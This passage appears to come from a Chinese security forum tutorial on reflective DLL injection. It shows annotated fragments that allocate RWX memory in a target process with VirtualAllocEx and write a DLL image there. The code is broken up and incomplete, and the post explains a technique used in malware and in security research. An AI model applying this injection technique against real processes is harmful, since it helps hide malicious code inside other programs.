获得dll文件的入口点偏移
dwReflectiveLoaderOffset
=
GetReflectiveLoaderOffset(lpBuffer);
/
/
lpbuffer:堆内存的指针 指向存有dll文件的堆内存空间
/
/
alloc memory (RWX)
in
the host process
for
the image...
/
/
为映像分配内存
lpRemoteLibraryBuffer
=
VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
/
/
write the image into the host process...
/
/
将映像写入目标进程
/
*
BOOL
WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress, 要写的内存首地址
LPVOID lpBuffer, 指向要写的数据的指针
DWORD nSize,
LPDWORD lpNumberOfBytesWritten
);
*
/
/
/
将映像写入目标进程 lpRemoteLibraryBuffer 在目标进程中分配的内存空间 lpBuffer在该进程内存空间中分配的堆内存
/
/
add the offset to ReflectiveLoader() to the remote library address...
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2021-11-16 16:05
被pyikaaaa编辑
,原因: 添加数据